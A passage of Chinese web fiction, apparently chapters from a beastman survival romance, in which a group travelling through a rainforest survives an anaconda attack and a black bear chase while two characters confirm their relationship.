话音刚落,红勇一个眼刀子甩了过来,“想吃野菜你就多吃点,闭上你的嘴巴,多做事少说话。” “什么叫想吃野菜啊?”岩秋雨瘪了瘪嘴,拿着根树枝扒火堆,“甜滋滋的红薯谁不想吃,可这才第一晚,不都说了食物要省着点吃吗?” 红勇气笑了,没好气地踹了他一脚,“背篓里躺了一天,你小子站着说话不腰疼。我们腿都快走断了,饿得前胸贴后背,光吃这点野菜,明早起床都没力气!” “好了好了,”花时安摆摆手,当起了和事佬:“食物是要省着吃,但俗话说得好,不吃饱哪有力气干活?而且红薯本来就重,先烤着吃,就当减负了。不用担心,这片密林的资源比我预想中更丰富,饿不着的。” 说到这就该结束了,但红勇不肯放过岩秋雨,冷哼一声又道:“明个儿就到你了,到时候我也不饿,我们晚上喝点水就成。” 岩秋雨平静的面庞出现了一丝裂痕,忙地挪到红勇身旁献殷勤,“别啊勇哥,错了错了。你肩膀疼不疼,腿酸不酸?我给你揉,给捶捶。” 知错就改,岩秋雨矜矜业业地当起了按摩师傅。或许是太累了,红勇竟然也没拒绝,他倚着树干享受岩秋雨的服务,舒服地眯起了眼睛。 水还有一会儿才开,红薯也还没烤熟,花时安心念一动,撑着地面往旁边挪了一点,拍了拍莫淮山弯曲的腿,“腿伸直,我也给你捏一捏。” 云淡风轻的一句话,却像是水滴入沸腾的油锅中,油花四散飞溅。 闭着眼睛享受按摩的红勇猛地睁开眼,似乎以为自己听错了,一脸不可置信地看向花时安;兢兢业业的按摩师傅整个人顿住,眼睛睁圆,嘴巴张得能吞下一个鸡蛋。 莫淮山也被花时安的毫不掩饰惊到了,嘴唇张张合合,好半天也没说出一个字。 只有花时安一如既往地坦然,笑着耸了耸肩,“干嘛都这样看着我?我脸上有东西?” “没,没东西。” 红勇最先回过神,扒开岩秋雨的手,着急忙慌地将他往旁边推,“我肩膀不疼了,秋雨你去,你去给傻大个捏一捏。” 一把将岩秋雨推清醒了,他赶忙凑到莫淮山身旁,理所当然地拨开花时安的手,“祭司大人你歇着,你你你、你做饭,我来帮他捏。” “怎么还抢上了,要不问问当事人的意见?”花时安单手托着下巴,嘴角微扬,似笑非笑地看向莫淮山,“淮山你说,让秋雨帮你捏,还是要我帮你捏?” 显然,这已经不是捏不捏腿的问题了,这是让他选择,要不要公开,要不要在旁人面前承认他们的关系、莫淮山读懂了花时安的弦外之音,心跳莫名漏了半拍,同时也紧张起来。 会不会太快了,会不会断了时安的退路,会不会…… 莫淮山纠结了很久,心跳越来越快,脸颊越来越红,而抬眸对上花时安的视线,他彷徨不安的心忽然就落到了实处,目光逐渐坚定,“秋雨你歇着吧,还是让、让时安帮——” “这不是合适!” “莫淮山你真敢啊!” 岩秋雨和红勇几乎同时开口,脸色一个比一个难看,好似下一秒就要从地上蹿起来,握紧拳头给他两拳。 话没有说完,但花时安得到了想要的答案。 他挑了下眉,转头看向两人,云淡风轻道:“没什么不合适的,也没什么不敢的。哦对,是不是还没告诉你?我和淮山在一起了,我们也商量好了,等找回失散的族人,我们就结成伴侣。” 第82章 第 82 章 倒霉的一天 吃饱喝足, 爬上高处树杈睡觉,第一天顺利度过。 人的运气似乎会被心情影响,花时安公布了喜讯,红勇和岩秋雨非常地不高兴, 一整晚都闷闷不乐。所以第二天, 他们的运气变差了, 背上背篓刚准备出发,一场小雨淅淅沥沥地落了下来。 密林中闷热,落场雨其实还能凉快一点,但这雨一下就没完没了,从早下到晚,让本就难走林间小路湿滑难行, 还把背篓里的松鼠淋成了落汤鼠。 走一步滑两步,赶路速度被迫放慢。 临近正午时分,岩秋雨脚下打滑摔了一跤,人倒是没摔伤,背篓打翻了,睡梦中的红腹松鼠和装着葛根粉的竹筒一块被甩了出去,摔得七荤八素。 坏运气并未就此结束, 日暮西沉的傍晚, 他们在两棵相邻的望天树上同时看到了部落的标记,且水滴状标记一个头朝左, 一个头朝右, 指向两个截然不同地方向。 经过商量后,他们决定走右侧一探究竟。 结果可想而知,百分之五十的概率,他们愣是选错了, 走出一段距离,标记突然没了,兽人只能拖着疲惫的身躯掉头往回走。 沿着左侧继续前行,重新找到新的标记时,天已经黑透了,莫淮山和岩秋雨找了个块略显开阔的空地,卸下背篓休息,结束了这倒霉的一天。 “哎哟我的天,终于能休息了,今天到底怎么了?什么破事都给碰上了,真是倒霉透顶!” 冒着雨走了一天,高兴不高兴已经不重要了,岩秋雨有气无力地往地上一瘫,胸口剧烈起伏,背靠大树喘得上气不接下气。 连续赶了两天路,莫淮山的状态看起来居然还不错,面色红润,精神气也很好,闷声往树脚下一坐,不抱怨也不埋怨,只是呼吸略有些急促。 花时安和红勇一个比一个狼狈,雨水淋湿了皮毛,变回人形浑身都是湿漉漉的,尤其红勇还被岩秋雨摔了一下,泥水混杂着雨水黏在身上,整个人像是刚从泥潭里捞出来的。 细雨如朦胧的烟雾笼罩着森林,降雨量很小,不足以洗澡,一身泥水的红勇蹲坐在地,气压有点低,蕴藏怒气的眸子一瞬不瞬地盯着罪魁祸首岩秋雨。 岩秋雨被他盯得头皮发麻,刚到嘴边的抱怨硬生生咽了下去,麻利地从地上爬起来:“肚子饿了,那什么,我去捡点柴生火。” “捡什么柴?你今天用脑子赶路了?”红勇瞪着一脸茫然的岩秋雨,恨铁不成钢地笑了一声,“下了一天雨,枯枝落叶全都淋湿了,能点着火吗?” “对哦!” 岩秋雨步子一顿,终于反应过来了,烦躁地在头上抓了一把,“这雨真烦人,一下下一天,路不好走就算了,这下好了,火也点不着,我们今晚吃——” “接着。” 突然飞过来的东西打断了岩秋雨的话,岩秋雨下意识伸出手,一个用棕绳捆扎紧实的树叶包裹落入掌心,携着令人食指大动的肉香味。 烦闷的心情一下子就舒畅了,岩秋雨重新坐在树下,三两下拆开树叶,用牙齿撕下一缕牛肉,眼底笑意漾开,“差点忘了,嘿嘿,我们还有肉!” “我有时候真怀疑你脑子有问题。”红勇白了他一眼。 下雨没办法生火,只能吃点现成的。 一人丢了一包牛肉,花时安拍了拍身旁的背篓,不紧不慢地拆开自己的牛肉,“吃倒是不用担心,牛肉不够还有生红薯,肯定能填饱肚子。我就是担心一会儿怎么睡,雨下了一天,到处都湿漉漉的,我们还得找个干燥点的地方。” “不用担心的时安,这些树枝叶茂盛,撑在头顶挡住了一部分雨水,找块干燥点的地方应该不难,我吃完饭就去找。”莫淮山一口水一口肉,百忙中抽空安抚花时安。 红勇不甘示弱,加快了进食速度,“我等下去找。” 牛肉和红薯都很顶饱,白天没怎么运动,消耗不算大,花时安吃了半块牛肉、两根生红薯就饱了。然而生冷食物对肠胃不友好,刚把剩下的牛肉包起来放好,花时安的肚子咕咕叫,发出了不满的咆哮。 不大不小的一声,刚好在场的人都能听到,岩秋雨个二傻子不动脑,上来就说:“咦,祭司大人你肚子叫了,你还没吃饱啊,再吃点。” “谢谢你啊,我吃饱了。” 只要自己不尴尬,尴尬的就是别人,花时安捂着肚子站起身,四下环望。 岩秋雨茫然地眨眨眼,“吃饱了肚子还会叫——” “闭嘴吧你!”红勇一个眼刀子甩过去,“走了,找睡觉的地方去。” 夜黑风高,森林好似窥不见底的深渊,幽暗深邃,伸手不见五指。实在没有一个人去方便的勇气,花时安环视一圈,回头朝莫淮山招了招手,“淮山,你陪我一起。” 莫淮山话不多说,直接跟着花时安走了。 而刚准备离开的红勇微微一愣,失落地垂下眼眸。 方便肯定不能当着别人面,就算是自家兽人也不行,走出一段距离,花时安让兽人在树脚下等着,自个儿摸黑钻进旁边灌木丛。 森林有些太黑了,黑到阴森可怖,拥有良好的夜视能力都看不清这如浓墨般昏暗幽静的丛林。不知道怎么回事,一钻进灌木丛,花时安心里就很不安,浑身汗毛都竖了起来。 黑暗滋生恐惧,他以为是自己想多了,摸黑继续往前走,但没走出几步,路过一棵不算高大的幼年铁力木,头顶忽然传来一阵令人毛骨悚然的“沙沙”声。 “沙沙,沙沙——” 像微风吹拂,枝叶摇晃,丛林中再正常不过的声响,但花时安一颗心瞬间提到嗓子眼,光洁饱满的额头覆上一层薄汗。 脚边杂草灌木纹丝不动,有风吗,答案是没有,不知何时,雨也停了,周遭一片寂静,只有头顶不时响起的沙沙声。 声音越来越近,花时安呼吸一滞,梗着脖子僵硬地转过头。树上没有任何东西,但没等他松一口气,余光无意扫过地面,一双比灯泡还大的深棕色眼睛闯入视线,花时安心脏骤停,两腿不受控制地发软。 蛇,比大腿还粗的蛇,这他妈——森蚺! 头大脖粗,绿褐色巨蛇盘踞在地,似乎已经发现了入侵者,对其相当不满,它头部微微抬起,呈“S”形弯曲,黑色蛇信子频繁伸缩。 攻击的信号!内心深处的恐惧直冲天灵盖,脑子顿时乱成一团麻,花时安转身就想跑,但为数不多的理智仍在提醒他,冷静,冷静! 遇到蛇不能直接跑,这会激发它的追逐欲,要保持安静,然后、然后……花时安面朝森蚺,缓慢横向移动,一寸一寸与其拉开距离。 森蚺的视力不太好,只要不发出太大动—— “咔嚓!” 枯枝被脚掌踩裂,一声脆响划破寂静,花时安惊恐地瞪大眼睛,拔腿就跑,但还是晚了一步,森蚺闻声而动,如脱弦利箭弹射而出,转瞬便蹿至身旁。 “淮山!淮山——” 非常恐怖的速度,知道自己逃不掉了,花时安声嘶力竭地大喊,然而话音刚落,滑腻冰凉的皮肤缠住脚踝。 巨大的拖拽力瞬间让他失去平衡,结结实实地摔倒在地,没等他重新爬起来,锋利的尖牙穿透皮肤,一口咬住花时安的上臂。 浓浓的血腥味萦绕鼻间,猛然袭来的剧痛令花时安眼前一黑,险些晕过去。不能晕,还不能晕,急速飙升的肾上腺素救了他一命,他强忍剧痛环抱胸口,竭力平复呼吸,给自己争取时间。 森蚺不会直接将猎物咬死,咬这一口是为了固定,它会用身体缠绕,根据猎物的呼吸不断勒紧,使猎物窒息。 正如花时安所料,滑腻冰凉的森蚺如一根灵活的棕绳,从肩膀游到大腿,牢牢将猎物捆住,紧绷的肌肉一点点收紧,不留一丝缝隙。 几百斤的大家伙,缠在身上让人喘不过气,更何况还在不断勒紧。花时安动弹不得,意识逐渐模糊,恍然间似乎听到了骨头断裂的声响。 又要死了吗,可是,好舍不得…… “时安,时安!” 即将失去意识时,一个高大的人影闯入视线,莫名的,花时安不那么害怕了。 石刀、骨刀齐上阵,莫淮山杀红了眼,快而迅速地举刀刺向森蚺。 攻击后背无效就攻击肚子,攻击脑袋和眼睛,终于,在他毫无章法地胡劈乱刺中,负伤的森蚺松开了猎物,头也不回地滑进丛林中。 “时安,时安……” 没空去管逃跑的森蚺,莫淮山避开伤口,抱起浑身是血,几近晕厥的花时安,双手控制不住地颤抖,眼睛红到滴血,“别睡,先别睡,坚持住时安。” “咳,咳咳!” 新鲜空气争先恐后地涌入肺,本来都快晕过去的花时安张大嘴巴呼吸,硬生生挺过来了,但身体非常不舒服,胳膊痛,肚子痛,腿也痛,像是高空自由落体,砰地砸落在地,整个人都要散架了。 不能在这逗留太久,花时安看着满眼担忧的兽人,紧咬后槽牙,艰难挤出几个字,“我、我没事,走,先离开这里。” 莫淮山用力点点头,将花时安打横抱起来,匆匆往回走。 一波未平一波又起,莫淮山抱着花时安往回走,距放背篓的大树只剩几步距离,一阵凌乱而嘈杂的脚步声忽然从不远处传来。 声音由远至近,红勇和岩秋雨飞快地从丛林中蹿了出来。 浑身是血的花时安太过显眼,他们一眼便看到了,但来不及多说多问,红勇急忙朝莫淮山摆手,“跑,快跑!带着祭司大人先跑!” 花时安的安危最重要,莫淮山虽然不明情况,但一秒也没耽搁,抱着花时安掉头就跑。 快散架的身体摇摇晃晃,花时安刚落下去的心瞬间又悬了起来,咬牙打起精神,撑着兽人的肩膀回头看了一眼,而这一眼,差点把他魂都吓飞。 熊,一头壮硕凶猛的黑熊急速狂奔,追在两个兽人身后。 第83章 第 83 章 受伤 疼, 好疼…… 被森蚺咬伤的左上臂疼得要命,仿佛千万只蚂蚁同时钻进肉里啃噬,深入骨髓的剧痛硬生生把花时安从睡梦中折腾醒。 昨晚还是没撑住,两眼一黑晕了过去。 还活着, 还能呼吸, 看样子他们运气不错, 从黑熊爪子底下逃过一劫。 但……好疼好疼啊,伤口疼,胸口也疼! 意识清醒了,身体却迟迟没能苏醒,花时安想睁开眼睛,奈何眼皮子比铅还沉, 费劲忙活半天仅是眼皮子动了动。 “时安你怎么了?是伤口疼吗?” 眼皮子一动,过分沙哑的嗓音顷刻在耳畔响起,话落,一阵微弱的暖风轻轻拂过伤口。 想为他缓解疼痛,兽人不知疲倦地吹拂伤口,同时一只宽大的手掌握着肩膀,时不时轻拍两下, 低声安抚:“没事, 没事了时安,有我在。” 不知道是不是心理作用, 伤口还真就没那么疼了, 花时安睫毛轻颤,再一次尝试,被黑暗侵蚀的眸子终于窥见了光亮。 天亮了,他这一觉似乎睡得有点久。 反复眨眼适应光线, 环视一圈花时安才发现,不在原本休息的树脚下,他们在一处狭窄逼仄,只有半人高的岩石夹缝中。 岩缝很窄,仅容纳一人,兽人把他安置在遮风挡雨的岩缝中,自个儿蹲坐在外面。红勇和岩秋雨不知道去哪了,放着水和食物的背篓也不见踪影,身下垫着一层树叶,旁边地上放着刀具和十多个暴力砍开的青椰子。 椰子啊,这可是好东西,搁平时花时安早就兴奋起来了,但现在没空关心椰子从哪来的,他眼眸微抬,看向一直守着他,给他吹伤口的兽人。 没发现花时安已经醒了,兽人正认真安抚他的伤口。 显然一宿没睡觉,莫淮山肉眼可见地憔悴,嘴唇干燥起皮,眼眶略有些红肿,昨日还健康红润的面庞褪去了血色,前所未有的憔悴。 才一个晚上,怎么把自己折腾成这样了,花时安心疼得紧,抬起没受伤的右手,轻轻抚过莫淮山红肿的眼睛。 指腹触碰到皮肤,莫淮山微微一愣,倏地抬起头。 瞧见虽虚弱,但已然睁开眼睛的花时安,他黯淡无光的眸子瞬间亮了起来,激动地握住花时安的手,“时安,时安你醒了!怎么样,身体还有没有哪里不舒服,还有没有哪里疼?” 伤口疼,胸口也疼,但兽人又不会医治,说了也是徒增烦恼,花时安小幅度摇摇头,“没事了淮山,我、我好多了。” 嗓子哑得厉害,几乎是用气音说话,一开口把自己都吓到了。 莫淮山终于反应过来了,松开花时安的手,抱起地上乱刀砍开的椰子,“时安喝水,这果子是我昨晚捡的,里面有水,我、我尝过了,没有毒,可以放心喝。” 靠坐的姿势很适合投喂,花时安没有拒绝喂到嘴边的水,仰着脖子咕嘟咕嘟,喝了几口清甜的椰子水。 几口椰子水下肚,人彻底清醒了,花时安推了推莫淮山的手,眼眸低垂,侧目看向不断袭来疼痛的左臂。 第一次直面伤口,比自己预想中的还要狰狞可怖,森蚺锋利的牙齿咬出两个拇指大的血窟窿,而牙齿嵌的太深,被兽人驱赶时没能第一时间拔出,又在内臂划出一道两寸长,小指粗的口子。 血止住了,但皮肉外翻,皮开肉绽,说是咬伤,看着更像是被锋利的刀具砍了两刀。很严重的伤口,搁现代社会都需要缝几针的程度,短时间内难以愈合。 比起愈合,花时安更怕感染,雨林潮湿细菌多,伤口处理不好容易感染,从而引起并发症。不过伤口看着已经被人清理过了,鲜血被冲洗干净,剩下三道边缘泛白的伤口。 盯着伤口一直不说话,空气都凝固了。 莫淮山不由紧张起来,放下椰子重新握住花时安的手,嘴唇微微颤抖,“疼的厉害吗?这里植物大多都不认识,没有找到蒲公英,我、我不敢乱给你敷草药,只是用果子水简单清理了一下。” 这么大的伤口可不能直接敷草药,环境恶劣,条件有限,用相对干净的椰子水清理已是最好的处理方式。 花时安抬眸看向满眼担忧的兽人,嘴角微扬,扯出一个不怎么好看的笑,“别担心,没那么疼了,你处理的很好。昨晚也多亏你来的及时,你又救了我一次呢淮山,我差点以为再也见不到你了。” “不,一点都不及时。” 莫淮山飞快地摇头,本就红肿的眼眶变得更红了,眸中闪烁着泪花,“是我来得太晚了,要是更快,更早一点,你就不会受伤。不,也不对,这么危险的森林,不应该让你一个人去灌木丛,我该跟着你,寸步不离地守着你。” “扑哧。” 花时安不合时宜地笑出了声,身体随之颤抖,一不小心牵动了伤口,疼了他倒吸一口凉气。 静止不动缓了几秒钟,慢慢没那么疼了,花时安挠了挠莫淮山的掌心,唇边依旧噙着笑,“我那是去方便,还寸步不离地守着我,想什么呢?” “没、没关系的吧,”莫淮山脸微微一红,“我们、我们很快就是伴侣了。” 花时安,“别,这种事情就算伴侣也不行。” 以为花时安不愿意和他亲近,莫淮山自责又失落,闷闷地“哦”了一声,眼眶里泪水再也忍不住了,啪嗒啪嗒地掉下来。 温热的泪珠落在手背,花时安心头一紧,反握住兽人的手,“多大的人了,怎么还哭了呢?别哭别哭,我这不是没事嘛,别总是责怪自己,你来得很快很及时。” “可是,可是……” 莫淮山肩膀轻颤,声音哽咽而沙哑,“我差一点就失去你了时安,我害怕,好害怕。” 看见亚兽被巨蛇死死缠住,奄奄一息,莫淮山目眦欲裂,整个人都不好了。而脱困后陷入昏迷,看着睡梦中眉头紧皱的花时安,看着血肉模糊的手臂,他的心脏像是被人紧紧攥在手中,随时会被捏碎。 差一点,差一点他就失去了他的亚兽。 莫淮山难过极了,肩膀抽动,泪水不受控制地滑过脸颊。 他现在特别想抱花时安,死死地抱着,抱他揉进身体里,揉进血肉里,与他融为一体,再也不分开。 碍于伤口无法行动,被泪水模糊的眼睛却漾着异样的、浓浓的占有欲。 心思都写在脸上,兽人的想法不要太好猜,花时安压下鼻尖涌起的酸意,不敢随意移动的左手朝他勾了勾手指,“过来,靠过来一点淮山。” 莫淮山也猜到了他的意图,胡乱擦了擦眼泪,摇摇头,“不行,你有伤,不能抱。” 花时安眉心微动,眯着眼,“可以的,过来。” 清越的嗓音仿佛带着一种魔力,莫淮山被蛊惑了,不自觉地靠近花时安,面对面坐在了他的侧边。 距离很近,一伸手就能将亚兽揽入怀中,但顾忌伤口,莫淮山没有动,正琢磨该怎么抱,花时安的声音再度响起,“低头。” 低头?莫淮山不明所以,乖乖照做,而垂下脑袋的下一秒,一抹温热堵住了他刚准备说话的嘴巴。 暖呼呼,软软的,这是——亚兽的嘴唇。 意识到花时安在亲他,莫淮山整个人僵住,脑海中“噼里啪啦”炸开了花。忘了身在何处,忘了自己是谁,他大脑瞬间停止运转,一片空白,下意识屏住呼吸,一动也不敢动。 一声轻笑掠过耳畔,堵住嘴巴的唇瓣动了动,缓缓吐出几个字:“别发愣,张嘴。” 从小到大连亚兽的手都没碰过,莫淮山哪里会接吻,花时安让做什么他就做什么,嘴唇微微张开,与亚兽柔软的唇瓣厮磨。 比拥抱更亲密,更有效的安抚,单是嘴唇相贴,莫淮山舒服地指尖颤栗,心脏扑通扑通狂跳。他是一个贪婪的兽人,想要更多,又不知该如何索取。 花时安也没跟人接过吻,但没吃过猪肉见过猪跑,他掌握着主动权,扬着下巴挑开兽人的唇齿,一寸寸探索,将舌尖残留的清甜交予兽人品尝。 喉结滚动的声响被心跳声吞没,两人互不触碰,在逼仄的岩缝中接吻。滚烫而旖旎的气息在狭小的空间里发酵,兽人化被动为主动,克制又温柔,时而辗转,时而轻啄,一遍一遍感受他珍爱之人。 打开了新世界的大门,莫淮山怎么亲都亲不够,最后花时安快喘不上气了,用额头撞了他一下才终于结束。 分开时,两个人的呼吸都有些急促,莫淮山有点别扭,红着脸匆匆挪开视线,看都不敢看花时安一眼。 脸皮薄,害羞很正常,花时安这样以为的,但余光扫过棕裙高高支起的帐篷,他惊讶地挑了下眉,什么都明白了。 现在不是想这些事情的时候,花时安别开脸假装没看见,轻咳一声,“那什么,伤口可能还要处理一下,我们的背篓在哪?丢在昨天哪里了?” “对。” “你一直没醒,我不敢丢下你回去拿东西,只能在周围转转。是要用背篓里的东西吗?我现在回去拿。”莫淮山说着便站起身,拿起石刀,把更为锋利的骨刀放在了花时安身旁。 花时安眯了眯眼睛,“离得很远?” “不算远,但也不算近。” 为了保证花时安的安全,莫淮山抱着他跑了大半宿,如果用花时安的时间来计算,来回一趟估计得两小时。 花时安瘪了瘪嘴,“我现在动都不能动,手无缚鸡之力,你准备把我一个人丢在这儿?” “不是,不是的,”莫淮山急忙解释:“我怕那野兽没走远,又碰上了,不能带上你。” 花时安:“不用带上我,你留在这陪我,让红勇和岩秋雨回去拿。对了,他俩跑哪去了,怎么这半天还没回来?” 这话一出,莫淮山好不容易恢复血色脸刷一下就白了。 不祥的预感涌上心头,花时安呼吸一滞,忙地追问:“怎么了?到底怎么回事,他俩去哪了?出什么事了吗?” 四个人一直在一块,花时安理所当然地认为他们俩也跟着跑到这边来了。睁眼没看到人,他以为找食物去了,但这会儿看莫淮山的反应,再看仅有的两把刀…… “你、你当时流了好多血,血腥味引起了黑毛野兽的注意,他们、他们怕野兽来追我们,主动拿骨矛攻击野兽,拦住了野兽,让我带着你先走。” “路上我也留了标记,可是一整晚过去了,他们还没有、没有找过来。” 出事了! 一瞬间,惊恐与担忧席卷了花时安。 第84章 第 84 章 虚惊一场 雨后潮湿的密林中, 高大健硕的兽人挥汗如雨,抱着一只花栗鼠急速奔跑。他步子迈得很大,一步顶两步,十息便穿过一片灌木丛, 转而消失在另一片丛林。 虽然尽可能地保持平稳, 但步子大速度快, 免不了摇晃。蜷在兽人怀里,花时安被颠得七荤八素,手臂如刀割火燎,难以忍受的疼痛不断袭来。 快一点,再快一点…… 无暇顾及疼痛,花时安抱着莫淮山的手指头, 黑豆大的眼睛死死盯着前方。 现在回去绝非明智之举,他和莫淮山都清楚这一点,万一红勇和岩秋雨不敌黑熊,万一那黑熊没走,贸然折返也是送人头。 但管不了那么多了,同伴为引开黑熊置身于危险中,一夜未归, 生死不明, 他又不是铁石心肠,如何能做到不管不顾。 理智一点儿也不剩, 花时安心里眼里皆是浓浓的担心, 昨晚晕过去之前扫过一眼黑熊,毫不夸张地说,那个头不亚于一辆小货车。 就算手持骨矛,就算是身强力壮的兽人, 他们也绝无战胜黑熊的可能。不过都是经验丰富的猎人,他们打不过应该会跑,怕就怕他们听从花时安之前的建议,变成兽形往树上爬。 要知道黑熊那玩意——会爬树! 而且黑熊智商高,超级记仇,兽人用骨矛刺了它,它恐怕不会轻易放过。 不会有事的,一定不会有事的,四个人一块出来,合该四个人一块回去,全须全尾地回去。 “时安,时安?你睡着了吗?我们到了。” 刻意压低的嗓音在耳畔响起,花时安回过神,发现莫淮山抱着他蹲在了灌木丛中。 他选的位置很隐蔽,杂草灌木比人还高,从外面看不注意根本看不见他们,但拨开茂密的灌木,花时安抬眼便看到了昨晚休息的大树。 背篓仍放在树脚下,不,应该是倒在树脚下,像是被暴力掀翻,背篓里的东西全都倒了出来,竹筒滚的到处都是,地上还散落着一些皱皱巴巴的树叶,不用想,那是他们用来包牛肉的。 牛肉被偷吃,部分竹筒被踩扁,水和葛根粉洒了一地。 不见黑熊,不见兽人,不见血迹,四周一片寂静,只有一地狼藉和东倒西歪的杂草灌木。 黑熊体型大,走路一定会留下痕迹,花时安拍了拍兽人的手臂,莫淮山心领神会,钻出灌木丛在四周搜寻起来。 很快,他们在营地斜前方发现了一条“大路”,一长串杂草灌木向两侧倾倒,显然,这是一头庞然大物硬生生开出来的道。 不敢耽搁,莫淮山抱着花时安走了进去。 黑熊可能还在附近活动,不能大张旗鼓地找,更不能直接吆喝,花时安和莫淮山分工合作,一个负责看树上,一个负责搜地面。 大路很长,弯弯绕绕,屏着呼吸四下搜寻,神经时刻紧绷,约莫走了十分钟,莫淮山在草丛里捡到一根沾着血的骨矛。 矛锋沾着血,可以确定血是黑熊的,但武器脱手可不是好消息,要么遇到了危险,要么丢下武器变回了兽形。 四周没有明显的打斗痕迹,花时安安慰自己只是后者。 可没走出多远,一股浓烈的血腥味钻进鼻腔,就在他们正前方,杂草灌木大面积倾倒,矮树尽数被折断,灌木丛直接变成了一个开阔的操场。 毫无疑问,这里曾经历了一场恶斗,这里是主战场,另一根骨矛也落在地上,而黏在树叶杂草上红彤彤的液体,正是血,大量鲜血。 看到这一幕,花时安心顿时凉了半截,爪子不受控制地剧烈颤抖,然而就在这时,一声极轻的低鸣忽然从头顶传来,“吱,吱——” 松鼠的叫声!花时安倏地抬起头,透过树木茂盛的枝叶,看到了坐在望天树顶端树杈的红腹松鼠,和躺在树杈中间的岩松鼠。 岩松鼠似乎晕过去了,躺在树杈中间一动不动,红腹松鼠警惕环视四周,确定没有危险后,咬着后颈将岩松鼠叼起来,四爪并用,麻利地从望天树上滑下来。 快到地面时,他轻轻往前一跃,一个高大的兽人落回地面,嘴巴一张,昏厥的岩松鼠落入掌心。 悬着的心总算是落回了肚子里,莫淮山目不转睛地盯着红勇,见他身上没有严重的外伤,这才松了口气,而正准备开口询问情况,红勇推着他的肩膀,匆匆往外走。 “别说话,先走,先离开这个地方,那鬼东西天亮才离开,谁也不知道走没走远,还会不会再回来。” 莫淮山闻言不再多问,不由加快了步伐。 没有食物寸步难行,回营地把能用的东西,能吃食物捡回背篓,莫淮山和红勇一刻没敢停留,一人抱着一只松鼠,一人拿着一根骨矛,飞快地离开这片是非之地。 一夜没睡,半天没进食,这一走就是一整天。 像是吓到了,红勇异常紧张,一声不吭埋头赶路,直到将是非之地远远甩在身后,他这才慢下来,与莫淮山讲述他们昨晚的遭遇。 黑熊闻到血腥味,对莫淮山怀中的花时安产生了极大的兴趣,眼看它扭头去追受伤的祭司大人,红勇与岩秋雨义无反顾地举起骨矛,狠狠朝黑熊刺去。 低估了骨矛的破坏力,黑熊毫无防备,被锋利的骨矛刺中了腹部,但这点小伤对它来说根本不算什么,它彻底被激怒了,掉转矛头猛地扑向两个兽人,好在他们反应快,躲开致命一击。 成功吸引注意力,按理说应该就近爬上大树躲避,可莫淮山抱着花时安跑不快,担心黑熊再次转移目标,红勇和岩秋雨只得保持人形,往相反的方向逃。 体型限制了速度,黑熊跑得不算快,也绝对算不上慢。 它追不上全速奔跑的兽人,却始终保持着不近不远的距离,而且它耐力相当好,兽人慢慢开始累,开始力竭,结果一回头,熊依旧追在身后。 距离不断缩短,眼看耗不过黑熊,红勇和岩秋雨果断变回兽形,就近爬上一棵望天树,可还没来得及松一口气,那巨兽竟然和他们一样,抱着树干开始往上爬。 刚开始红勇并不担心,因为黑熊体型太大,到不了他们所在的树枝树杈,但一头堪比小货车的黑熊往树上耸,没过多久,大树震颤,剧烈摇晃起来。 震感强烈,不亚于一场地震,一旦没抓稳,瞬间便会从数十米的高空坠落。 好在对于一头庞然大物来说,爬树比奔跑更费力,黑熊累了,滑回树脚下坐着,不肯离去,猩红的眼睛牢牢锁定树杈上的松鼠。 它的耐力和耐心都是极好的,这一僵持就僵持到了半夜。 红勇自然是眼睛没敢闭一下,最后看着黑熊悻悻离去,终于松了一口气。 黑熊离开后,他们没有第一时间下树,谨慎留在树上观察,等到夜深人静,四周再无风吹草动,他们这才慢慢开始下树。 然而,就在他们滑下大树,即将抵达地面时,说时迟那时快,潜伏在黑暗中的巨兽猛然蹿了出来。两只松鼠也不是吃素的,意识到危险瞬间掉头,锋利爪子抠紧树皮,噌噌爬回树尖。 体型大、耐心好、聪明,还会假意离开,实则埋伏…… 莫淮山听得头皮发麻,手臂上冒起一串鸡皮疙瘩。他下意识咽了咽口水,道出自己的疑问:“太奇怪了,野兽真的有这么聪明吗?有没有一种可能,那其实是人,居住在密林里的兽人?” “不知道。”红勇摇了摇头,用骨矛拨开灌木,继续往前走,“它太聪明了,我们也想过这个问题,当时在树尖上试着和它说话,但没有用,它就是想吃我们。” “总之,不管是人是野兽,我们惹不起,打不过。” 蜷在莫淮山怀里听完惊险的过程,花时安得出结论: 兽,大概率是兽。 熊这种动物聪明又狡猾,会模仿,会试探,报复性极强。 当然也不排除是兽人的可能性,但如果是兽人,凭借它庞大的体型、惊人的力量,无需上树抓松鼠,直接抱着树干摇晃,松鼠迟早会自己掉下来。 太恐怖了。 红勇说得对,不论是哪种,都是他们惹不起的存在。 过程还没说完,花时安挠了挠兽人的掌心,嘴替莫淮山紧跟着又问:“那后来呢?我看到树脚下倒了一大片灌木,到处都是血,像是经历过一场搏斗。” 令人后怕的一晚上,已经安全了,但红勇丝毫没有放松,他眉头紧拧,轻叹一口气,“运气,运气好。我们爬回树尖,那巨兽又坐在了树脚下,看样子想跟我们一直耗下去。” “天快亮的时候,不知道从哪蹿出一只、一条奇奇怪怪的兽。它又长又粗,表皮长有鳞片,有点像我们之前抓到的绿鬣蜥,但没有脚。” 莫淮山倏地一抬头,“我知道,袭击时安的就是那种长条兽!它身上有伤吗?我当时扎了它好几刀。” “没有伤,应该不是同一条。” 红勇继续道:“那黑兽流了血,大概是被它身上的血腥味吸引过来的,长条兽在附近徘徊。可能觉得黑兽个头比较大,长条兽准备溜,但黑兽已经发现了它,主动发起了攻击。” 莫淮山迫不及待地追问:“打起来了,两败俱伤?” 花时安在心里嘀咕: 没可能的,森蚺打不过黑熊,送菜来的。 果不其然,下一秒便听红勇说:“体型差距摆在那,怎么可能打得过,没多久那黑兽就抓到了长条兽,嚼吧嚼吧整个全部吃掉了。” “估计是吃饱了,天亮起来的时候,巨兽大摇大摆地离开了。我们被骗过一次,没敢轻易下树,一直在树上躲着,然后、然后你们就找来了。” 说到这,红勇似有不满地看了莫淮山一眼,“知道你担心我们,但祭司大人受了伤,你不该带着他回来,万一黑兽没走怎么办?我们岂不是白忙活了?凡事要以时安的安危为重。” 没有说这是花时安的主意,莫淮山摸了摸鼻头,面露歉意,“你们一整晚都没有找过来,实在放心不下,这是我的不对,但我会尽我所能保护好时安,不会、不会再让它受伤了。” 红勇没接话,也没有追究和说教的打算,握着骨矛的手轻轻拍了下莫淮山的后背。 “秋雨。” 莫淮山看了眼昏睡不醒岩松鼠,又问:“秋雨到底是怎么回事,一路上都没有醒,晕过去了?” 这话一出,红勇眼底闪过一丝尴尬,不太自然地轻咳一声:“咳,巨兽爬树的时候晃悠得厉害,他没抓稳,不小心从树上掉下去了,我及时抓着他的尾巴捞了他一把。” 